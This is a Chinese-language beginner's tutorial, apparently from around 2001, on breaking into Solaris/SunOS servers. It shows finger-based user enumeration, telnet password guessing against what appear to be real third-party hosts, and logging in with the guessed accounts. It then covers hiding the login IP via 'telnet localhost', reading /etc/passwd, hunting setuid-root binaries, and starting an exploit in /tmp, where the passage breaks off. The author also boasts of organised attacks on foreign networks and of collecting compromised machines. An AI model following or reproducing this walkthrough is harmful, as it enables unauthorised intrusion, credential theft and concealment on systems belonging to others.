作者序言:
本来很久以前说要写篇sunos 入侵教程的,但一直都没空,也没兴趣写。
说到就要做到。今天有点无聊的感觉,写点东西吧。
不过,这是我的最后一篇入侵教程。
黑来黑去有什么意思呢,我觉得还是写些技术分析的文章好些。
希望新手们看了我的这最后一篇入侵教程,能找到一些感觉。
这只是一篇写给新手的入门教程,不是新手的免看。
***请不要入侵和破坏国内的网络***
说明:
因为某些原因,把涉及到的IP全部换成了192.168.0.*
下面是所用到的系统列表的说明:
192.168.0.1 Windows 2000 advanced server
192.168.0.2 Solaris 7 sparc , gcc
192.168.0.3 Solaris 5.6 sparc
192.168.0.4 Solaris 8 sparc
192.168.0.10 irix 6.5.8
192.168.0.20 redhat 6.2
注:Solaris 也就是Sun os,他们的转换是:
Solaris 8 = Sunos 5.8,Solaris 7 = Sunos 5.7,Solaris 2.6 =Sunos 5.6,Solaris 2.5 =Sunos 5.5...
(你使用的平台最好为NT/Win2000/Linux/Unix,这里我用的是Win2000 ,192.168.0.1)
约定:
文章里面的“(***文字***)”是对该行命令或信息的一些说明。
所用到的工具为:
SuperScan 3.0 http://www.cnhonker.com/tmp/SuperScan.zip
SecureCRT 3.3 http://www.cnhonker.com/tmp/SecureCRT3.3.zip
里面所用到的有些程序代码请到http://lsd-pl.net/ 或 http://www.hack.co.za 查找。
入侵故事的开始
我喜欢把肉鸡列表放在桌面上,而每次重装系统总是会忘记备份桌面上的东西。
记得有次重装系统丢了500多台各种肉鸡的列表,有时候想起来就觉得心痛,真可惜啊。
M$的东西真是破兼可恶,又一次重装系统完毕,我再一次丢了列表。
幸好,这次的肉鸡不算多,但是我的Gcc,又得重新找,可怜啊。
如果不是这次重装系统,可能这篇教程也不会写了吧。
花点时间找几台机器吧,没机器用可不行啊。
你也跟着我来找找吧。
土办法,要获得第一个帐号,最简单的就是用finger 了。(其实,厚着脸皮向人要是最简单的办法。:))
扫网段端口用什么好呢,给大家一个介绍。SuperScan 3.0
大家可以在http://www.cnhonker.com/tmp/SuperScan.zip 得到我亲自汉化的3.0版本。
(ps:
有幸与小榕成为同事,得到了一个特殊版本的流光。这里顺便也为他的流光做做广告,我觉得流光对新手来说,流光是 最好的工具了。记得去年9月份自己刚开始学习NT/Win2000的攻击的时候,就常用流光来扫网段,有人说 lion=只会用流 光的家伙,呵呵J其实我已经很久没用过流光了,就是去年9,10月份比较常用些。现在我对新版本的流光感觉很好,功能 很多,里面的很多功能都很不错,特别是finger 探测和猜解,很适合新手使用,大家不妨试试。最新版本的流光可以在 小榕的网站获得:http://www.netxeyes.com
很多人对我的个人情况感兴趣,在这里也顺便说一下我个人的成长经历吧,看了大家别笑哦,其实是这样的:
2000年3月8日到广州实习,开始上网,开始学用IE,用email收发信件;
4月建立了个人网站,当时还只会用木马;
5月学习Sunos 系统的攻击,当时对提升权限等还一窍不通,不过这个月份我发现了www.elong.com的邮件系统绕过口令验 证的严重漏洞;
6月回学校毕业答辩;
7月在广州开始专职搞网页设计;
8月对Sunos 系统攻击有了一定的了解;
9月换了家公司,安装了自己的第一个win2000,并学习使用和尝试攻击;
10月专职于网络安全工作;
11月初碰linux,当时也在学习各种攻击手段和各种系统的攻击方法;
12月建立红客联盟网站。
2001年1月回家过春节;
2月组织攻击日本;
3月慢慢对攻击系统失去了兴趣;
4月在考虑很多东西;
5月组织对美网络反击战,结束后北上北京;
6月枯燥无味的一个月;
7月已经或者将要做几个大的决定。
送给各位网友两句话:
“人要靠自己”
“我就是我”
其实这两句话也就是我的全部。)
发了一通牢骚,开始我们的学习历程吧。
哦,慢着,新手们先去看看我几个月前写的三篇UNIX入侵教程,看完了再继续。
准备好了吗?
让我们来揭开UNIX神秘的面纱…
come on baby…
第一天:
好不容易等到下班。:(
打开SuperScan 3.0,(列表文件没找到错误,可以点击端口设置,再选导入,选好此软件目录里的scanner..lst , 点击完成。)在IP栏中输入你要扫描的网段,建议每次扫描在10个C段以内,在扫描类型中选中“显示主机的响应”一 栏,如果你的网速慢,把“只扫描能ping的主机”也打上勾,选中“所有端口从”那个单选项,然后在框里输入开始和 结束的端口,这里都填“79”,也就是finger的端口,最后点“开始”进行扫描。
扫描完成后,点“剪除”去掉没开79端口的主机列表,点“散开”或者点“保存”把结果存为文本文件以便分析扫描结果。
我们通常可以看到如下几种常见的主机响应:
1. … Line User Host(s) Idle Location..
2. No one logged on.
3. Login Name TTY Idle When Where..
4. 其他响应消息或者没有内容。
其中,我们只把2,3这两种的机器找出来。
现在我们开始手工找机器,或者用流光探测finger。
手工找其实也有窍门的,但很难说清楚,这里就一律用 finger 0@ip 来找SunOS的薄弱机器。下面的IP都用xxx.xxx.xxx.xxx代替。
-------------------------------------------------test--------------------------------------------------------------
C:/>finger 0@xxx.xxx.xxx.xxx
[xxx.xxx.xxx.xxx]
finger: 0: no such user.
-------------------------------------------------test--------------------------------------------------------------
失败,这个系统应该是linux,别灰心,我们继续找。
-------------------------------------------------test--------------------------------------------------------------
C:/>finger 0@xxx.xxx.xxx.xxx
[xxx.xxx.xxx.xxx]
Login Name TTY Idle When Where
daemon ??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
jeffrey ??? pts/0
203.66.149.11
daniel ??? 437
114cm.kcable.
jamie ??? 0
203.66.162.68
postgres ??? pts/2
203.66.162.80
nsadmin ??? 768
203.66.19.50
ho ??? 390
61.169.209.106
house18 ??? pts/1
203.66.250.1
tong ??? pts/0
210.226. 42.69
jliu ??? pts/0
203.66.52.87
ptai ??? < . . . . >
-------------------------------------------------test--------------------------------------------------------------
我们需要的就是这种,:)其中,第一列的jeffrey,Daniel,Jamie,postgres等就是这个主机上的用户名,其他的内容都是一 些用户的登陆信息。
现在,我们来测试一下这些帐号的密码强度。(大家最好利用这些用户和一些密码猜解的工具配合来做,不然会感到厌倦的, 不过我以前特别喜欢猜: test:test oracle:oracle ….猜密码的感觉还不错。)
-------------------------------------------------test--------------------------------------------------------------
C:/>telnet xxx.xxx.xxx.xxx
SunOS 5.6 (***目标系统是SunOS 5.6 也就是Solaris 2.6***)
login: ptai (***输入用户名***)
Password: **** (***输入密码***)
Login incorrect (***登陆失败***)
login: jliu
Password:
Login incorrect
$ login: tong
Password:
Last login: Mon Jul 2 13:21:55 from 210.226. 42.69 (***这个用户上次登陆时的IP***)
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
You have mail. (***HOHO~登陆成功啦***)
$ uname –a (***查看系统版本和补丁信息***)
SunOS dev01 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10
$ set (***查看一些系统变量信息***)
HOME=/export/home/tong
HZ=100
IFS=
LOGNAME=tong
MAIL=/var/mail/tong
MAILCHECK=600
OPTIND=1
PATH=/usr/bin:
PS1=$
PS2=>
SHELL=/bin/sh
TERM=ansi
TZ=Hongkong
$ gcc
gcc: not found (***可恶,没有编译器,我们继续找其他机器吧,等会回来收拾它。***)
$ telnet localhost (*** telnet一下本地,以免这个用户下次登陆时一下发现了IP问题***)
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
SunOS 5.6
login: tong
Password:
Last login: Wed Jul 4 17:56:09 from 211.99.42.226
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
You have mail.
$ exit
Connection closed by foreign host.
$ exit
遗失对主机的连接。
C:/>
-------------------------------------------------test--------------------------------------------------------------
我们继续猜解,若干时间过后,还不给我找到一个。:)
这台主机的IP用192.168.0.2代替啦。
-------------------------------------------------test--------------------------------------------------------------
C:/>finger 0@192.168.0.2
[192.168.0.2]
Login Name TTY Idle When Where
daemon ??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
dennis ??? pts/5
pcd209117.netvig
oracle ??? pts/5
o2
qwork ??? < . . . . >
kenneth1 ??? pts/4
cm61-18-172-213.
wing ??? pts/6 11 Wed 18:02 office
wilson ??? pts/11
203.66.200.90
srini ??? 363
office
eric ??? pts/8
office
render7 ??? 62
211.18.109.186
delex ??? < . . . . >
render9 ??? 023
office
C:/>telnet 192.168.0.2
SunOS 5.7
login: render9
Password:
Login incorrect
login: delex
Password:
*********************************************************
# The JRun is now replaced by JServ
# To restart the servlet server, please use
rs.sh
# However, as the JServ will reload those classes
# inside the "/usr/proj/gipex/class", you just
# need to remove the old class with the new one.
*********************************************************
$ w
6:19pm up 61 day(s), 3:40, 3 users, load average: 0.11, 0.07, 0.10
User tty login@ idle JCPU PCPU what
root console 4May0161days 2 2 /usr/dt/bin/sdt_shell -c ?
u
root pts/4 Fri 4pm 5days tail -f syslog
delex pts/7 6:19pm w
$ uname -a
SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10
$w
4:24pm up 62 day(s), 1:45, 3 users, load average: 0.02, 0.02, 0.02
User tty login@ idle JCPU PCPU what
root console 4May0162days 2 2 /usr/dt/bin/sdt_shell -c ? u
root pts/4 Fri 4pm 6days tail -f syslog
$ gcc
gcc: No input files
-------------------------------------------------test--------------------------------------------------------------
HOHO~终于找到一台有编译器的SunOS啦
现在我们来简单找找前面有没有入侵者。:)
-------------------------------------------------test--------------------------------------------------------------
$ ls -al
total 14
drwxrwxr-x 2 delex staff 512 Jul 4 18:28 .
drwxr-xr-x 35 root root 1024 May 7 10:46 ..
-rw-r--r-- 1 delex staff 144 May 2 10:46 .profile
-rw------- 1 root staff 320 Jul 4 18:52 .sh_history
-rw-r--r-- 1 delex staff 124 May 2 10:46 local.cshrc
-rw-r--r-- 1 delex staff 581 May 2 10:46 local.login
-rw-r--r-- 1 delex staff 562 May 2 10:46 local.profile
$ cat /etc/passwd (***检查/etc/passwd***)
root:x:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
dennis:x:1005:20::/export/home/dennis:/bin/sh
oracle:x:1001:100::/export/home/oracle:/bin/sh
render7:x:9589:101::/export/home/render7:/bin/sh
delex:x:1035:20::/export/home/delex:/bin/sh
ac1:x:3000:300:Agent Client 1:/export/home/ac1:/bin/sh
ac2:x:3001:300:Agent Client 2:/export/home/ac2:/bin/sh
render9:x:9591:101::/export/home/render9:/bin/sh
$ ls -al / (***查看根目录是否有.rhosts等文件***)
total 381
drwxrwxrwx 35 root root 1024 Jun 29 16:52 .
drwxrwxrwx 35 root root 1024 Jun 29 16:52 ..
-rw------- 1 root other 152 May 4 14:39 .Xauthority
drwxrwxr-x 4 root other 512 Feb 20 10:33 .cpan
-rw------- 1 root root 1032 May 4 14:39 .cpr_config
-rw-r--r-- 1 root other 947 Apr 14 2000 .desksetdefaults
drwxr-xr-x 15 root other 512 Jun 20 13:09 .dt
-rwxr-xr-x 1 root other 5111 Apr 13 2000 .dtprofile
drwx------ 5 root other 512 Apr 14 2000 .fm
drwxr-xr-x 2 root other 512 Apr 13 2000 .hotjava
drwxr-xr-x 4 root other 512 Mar 14 17:42 .netscape
-rw------- 1 root other 1024 Dec 8 2000 .rnd
-rw-rw-r-- 1 nobody staff 402 Jun 12 11:14 .svg
drwx------ 2 root other 512 Apr 13 2000 .wastebasket
drwx------ 2 root other 512 Apr 13 2000 DeadLetters
drwx------ 2 root other 512 Apr 13 2000 Mail
drwxr-xr-x 2 root root 512 Apr 13 2000 TT_DB
drwxrwxr-x 2 moluk other 512 Dec 25 2000 XYIZNWSK
lrwxrwxrwx 1 root root 9 Apr 13 2000 bin -> ./usr/bin
drwxr-xr-x 2 root nobody 512 Jun 20 13:19 cdrom
-rw------- 1 root other 77 Jun 7 15:03 dead.letter
drwxrwxr-x 18 root sys 3584 May 4 14:39 dev
drwxrwxr-x 4 root sys 512 Apr 13 2000 devices
drwxr-xr-x 9 root root 512 Jun 12 14:47 disk2
drwxr-xr-x 32 root sys 3584 Jul 4 18:53 etc
drwxrwxr-x 3 root sys 512 Apr 13 2000 export
dr-xr-xr-x 1 root root 1 May 4 14:39 home
drwxr-xr-x 9 root sys 512 Dec 20 2000 kernel
lrwxrwxrwx 1 root root 9 Apr 13 2000 lib -> ./usr/lib
drwx------ 3 root root 8192 Apr 13 2000 lost+found
drwxrwxr-x 2 root sys 512 Apr 13 2000 mnt
dr-xr-xr-x 1 root root 1 May 4 14:39 net
-rw-rw-r-- 1 nobody staff 13 Feb 20 16:53 newsletteradminmail.ost
drwx------ 2 root other 512 May 6 2000 nsmail
drwxrwxr-x 7 root sys 512 Apr 28 2000 opt
drwxr-xr-x 12 root sys 512 Apr 13 2000 platform
dr-xr-xr-x 192 root root 126912 Jul 4 19:00 proc
drwxrwxr-x 2 root sys 512 Dec 20 2000 sbin
drwxrwxr-x 2 root 10 512 Feb 15 14:50 snap
drwxrwxrwt 7 sys sys 986 Jul 4 19:00 tmp
drwxrwxr-x 29 root sys 1024 May 3 17:32 usr
drwxr-xr-x 26 root sys 512 Jun 12 14:49 var
dr-xr-xr-x 6 root root 512 May 4 14:39 vol
drwxr-xr-x 2 wing 10 512 Nov 6 2000 web
dr-xr-xr-x 1 root root 1 Jul 4 18:55 xfn
$ find / -user root -perm -4000 -exec ls -al {} /;
-r-s--x--x 1 root bin 19564 Sep 1 1998 /usr/lib/lp/bin/netpr
-r-sr-xr-x 1 root bin 15260 Oct 6 1998 /usr/lib/fs/ufs/quota
-r-sr-sr-x 1 root tty 174352 Nov 6 1998 /usr/lib/fs/ufs/ufsdump
-r-sr-xr-x 1 root bin 856064 Nov 6 1998 /usr/lib/fs/ufs/ufsrestore
---s--x--x 1 root bin 4316 Oct 6 1998 /usr/lib/pt_chmod
-r-sr-xr-x 1 root bin 8576 Oct 6 1998 /usr/lib/utmp_update
-rwsr-xr-x 1 root adm 5304 Sep 1 1998 /usr/lib/acct/accton
-r-sr-xr-x 1 root bin 643464 Sep 1 1998 /usr/lib/sendmail
…
…. (***结果太多这里省略了,主要是简单找找有没有其他以前的入侵者。***)
…
$ps –ef
UID PID PPID C STIME TTY TIME CMD
root 0 0 0 May 04 ? 0:01 sched
root 1 0 0 May 04 ? 1:03 /etc/init -
root 2 0 0 May 04 ? 0:01 pageout
root 3 0 1 May 04 ? 476:33 fsflush
root 225 1 0 May 04 ? 0:01 /usr/lib/utmpd
root 115 1 0 May 04 ? 0:01 /usr/sbin/rpcbind
root 299 1 0 May 04 ? 0:00 /usr/lib/saf/sac -t 300
root 52 1 0 May 04 ? 0:00 /usr/lib/devfsadm/devfseventd
root 54 1 0 May 04 ? 0:00 /usr/lib/devfsadm/devfsadmd
root 117 1 0 May 04 ? 0:00 /usr/sbin/keyserv
root 239 1 0 May 04 ? 0:13 /usr/lib/inet/xntpd
root 142 1 0 May 04 ? 0:11 /usr/sbin/inetd -s
root 163 1 0 May 04 ? 2:50 /usr/sbin/in.named
root 164 1 0 May 04 ? 0:01 /usr/lib/autofs/automountd
daemon 153 1 0 May 04 ? 0:00 /usr/lib/nfs/statd
root 275 1 0 May 04 ? 0:01 /usr/lib/nfs/mountd
root 152 1 0 May 04 ? 0:00 /usr/lib/nfs/lockd
…
…
$ netstat -an|grep LISTEN (***查看有没有可疑端口***)
*.111 *.* 0 0 0 0 LISTEN
*.21 *.* 0 0 0 0 LISTEN
*.23 *.* 0 0 0 0 LISTEN
*.514 *.* 0 0 0 0 LISTEN
*.513 *.* 0 0 0 0 LISTEN
*.512 *.* 0 0 0 0 LISTEN
*.540 *.* 0 0 0 0 LISTEN
*.79 *.* 0 0 0 0 LISTEN
*.37 *.* 0 0 0 0 LISTEN
*.7 *.* 0 0 0 0 LISTEN
*.9 *.* 0 0 0 0 LISTEN
*.13 *.* 0 0 0 0 LISTEN
*.19 *.* 0 0 0 0 LISTEN
….
$…(***省略了对端口进行的一番测试,看有没有bind suid root shell port ***)
…
$ cd /tmp
$ ls -al
total 1314
drwxrwxrwt 7 sys sys 986 Jul 4 19:00 .
drwxrwxrwx 35 root root 1024 Jun 29 16:52 ..
drwxrwxr-x 2 root root 176 May 4 14:39 .X11-pipe
drwxrwxr-x 2 root root 176 May 4 14:39 .X11-unix
drwxrwxrwx 2 root root 179 May 4 14:39 .pcmcia
drwxrwxrwx 2 root other 181 Jun 20 13:18 .removable
drwxrwxrwt 2 root root 327 May 4 14:39 .rpc_door
-rwxrwxr-x 1 root other 614 May 8 11:17 EncTest.class
-rw------- 1 root other 265936 May 4 14:40 dtdbcache_:0
-rw------- 1 render9 render 0 May 8 11:42 mpcRaOhb
-rw------- 1 render9 render 0 May 8 13:02 mptWaGYf
-rw-rw-r-- 1 root sys 5248 May 4 14:39 ps_data
-rw-rw-r-- 1 root other 0 Jun 20 13:18 sdtvolcheck399
-rw-r--r-- 1 root other 4 May 4 14:39 speckeysd.lock
-rw-rw-r-- 1 root sys 326236 May 7 11:30 ups_data
$strings /bin/login
…
$… (***这里省略了对一些文件的简单测试****)
…
-------------------------------------------------test--------------------------------------------------------------
基本上没发现什么问题,来提升我们的权限吧。:)
-------------------------------------------------test--------------------------------------------------------------
$ set
EDITOR=vi
HOME=/export/home/delex
HZ=100
IFS=
LD_LIBRARY_PATH=/export/home/software/setadapters/solaris2/cgi-bin/lib:
LOGNAME=delex
MAIL=/usr/mail/delex
MAILCHECK=600
MANPATH=:/usr/share/man:/usr/local/man
OPTIND=1
PATH=/usr/bin::/usr/bin:/usr/local/bin:/usr/bin:/usr/ucb:/usr/ccs/bin:/usr/sbin:/usr/local:/usr/local/bin :/export/home/oracle/product/8.1.6/bin
PS1=$
PS2=>
SHELL=/bin/sh
TERM=vt100
TZ=Hongkong
_INIT_PREV_LEVEL=S
_INIT_RUN_LEVEL=3
_INIT_RUN_NPREV=0
_INIT_UTS_ISA=sparc
_INIT_UTS_MACHINE=sun4u
_INIT_UTS_NODENAME=develop
_INIT_UTS_PLATFORM=SUNW,Ultra-5_10
_INIT_UTS_RELEASE=5.7
_INIT_UTS_SYSNAME=SunOS
_INIT_UTS_VERSION=Generic_106541-14
$ uname -a
SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10
$ cd /tmp
$ cat > test.c (***用cat命令写一个文件***)
|
|